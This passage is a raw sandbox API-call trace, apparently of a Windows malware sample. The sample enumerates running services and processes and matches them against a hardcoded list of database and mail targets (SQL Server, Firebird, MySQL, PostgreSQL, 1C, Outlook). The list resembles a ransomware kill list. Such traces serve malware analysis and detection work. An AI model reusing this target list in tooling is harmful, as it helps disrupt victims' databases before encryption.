lpString2="Appinfo") returned 1 [0173.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.183] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.183] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.183] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.183] lstrlenW (lpString="AudioSrv") returned 8 [0173.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0173.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0173.183] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0173.183] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0173.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0173.183] lstrlenW (lpString="BFE") returned 3 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.184] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.184] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.184] lstrlenW (lpString="CryptSvc") returned 8 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.184] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.184] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.184] lstrlenW (lpString="CscService") returned 10 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0173.184] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0173.184] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0173.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0173.184] lstrlenW (lpString="DcomLaunch") returned 10 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.184] lstrlenW (lpString="Dhcp") returned 4 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.184] lstrlenW (lpString="Dnscache") returned 8 [0173.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.185] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.185] lstrlenW (lpString="DPS") returned 3 [0173.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.185] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.185] lstrlenW (lpString="eventlog") returned 8 [0173.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0173.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0173.185] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0173.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0173.185] lstrlenW (lpString="EventSystem") returned 11 [0173.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.185] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.185] lstrlenW (lpString="gpsvc") returned 5 [0173.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.185] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.185] lstrlenW (lpString="iphlpsvc") returned 8 [0173.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.185] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.186] lstrlenW (lpString="LanmanServer") returned 12 [0173.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.186] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.186] lstrlenW (lpString="lmhosts") returned 7 [0173.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.186] lstrlenW (lpString="MMCSS") returned 5 [0173.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0173.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0173.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0173.186] lstrlenW (lpString="MpsSvc") returned 6 [0173.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.186] lstrlenW (lpString="Netman") returned 6 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0173.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0173.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0173.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0173.187] lstrlenW (lpString="netprofm") returned 8 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.187] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.187] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.187] lstrlenW (lpString="NlaSvc") returned 6 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.187] lstrlenW (lpString="nsi") returned 3 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.187] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.187] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.187] lstrlenW (lpString="PcaSvc") returned 6 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.187] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.187] lstrlenW (lpString="PlugPlay") returned 8 [0173.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.188] lstrlenW (lpString="Power") returned 5 [0173.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.188] lstrlenW (lpString="ProfSvc") returned 7 [0173.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.188] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.188] lstrlenW (lpString="RpcSs") returned 5 [0173.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.188] lstrlenW (lpString="SamSs") returned 5 [0173.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.189] lstrlenW (lpString="Schedule") returned 8 [0173.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.189] lstrlenW (lpString="SENS") returned 4 [0173.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.189] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.189] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.189] lstrlenW (lpString="Spooler") returned 7 [0173.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.189] lstrlenW (lpString="SysMain") returned 7 [0173.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.189] lstrlenW (lpString="Themes") returned 6 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.190] lstrlenW (lpString="TrkWks") returned 6 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0173.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0173.190] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0173.190] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0173.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0173.190] lstrlenW (lpString="UxSms") returned 5 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0173.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0173.190] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0173.190] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0173.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0173.190] lstrlenW (lpString="WdiServiceHost") returned 14 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0173.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0173.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0173.190] lstrlenW (lpString="WdiSystemHost") returned 13 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.190] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0173.190] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0173.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0173.190] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0173.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.191] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0173.191] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0173.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0173.191] lstrlenW (lpString="Winmgmt") returned 7 [0173.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0173.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0173.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0173.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0173.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0173.191] lstrlenW (lpString="WPDBusEnum") returned 10 [0173.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.191] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0173.191] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0173.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0173.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2050 | out: hHeap=0x300000) returned 1 [0173.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0173.193] Process32FirstW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.194] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.194] lstrlenW (lpString="System") returned 6 [0173.194] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0173.194] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0173.194] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.195] lstrlenW (lpString="smss.exe") returned 8 [0173.195] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0173.195] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.195] lstrlenW (lpString="csrss.exe") returned 9 [0173.195] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.195] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.195] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.195] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0173.196] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.196] lstrlenW (lpString="wininit.exe") returned 11 [0173.196] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0173.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0173.196] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.196] lstrlenW (lpString="csrss.exe") returned 9 [0173.197] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.197] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.197] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.197] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.197] lstrlenW (lpString="winlogon.exe") returned 12 [0173.197] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.198] lstrlenW (lpString="services.exe") returned 12 [0173.198] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.198] lstrlenW (lpString="lsass.exe") returned 9 [0173.198] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0173.198] lstrlenW (lpString="lsm.exe") returned 7 [0173.198] Process32NextW (in: hSnapshot=0x17c, 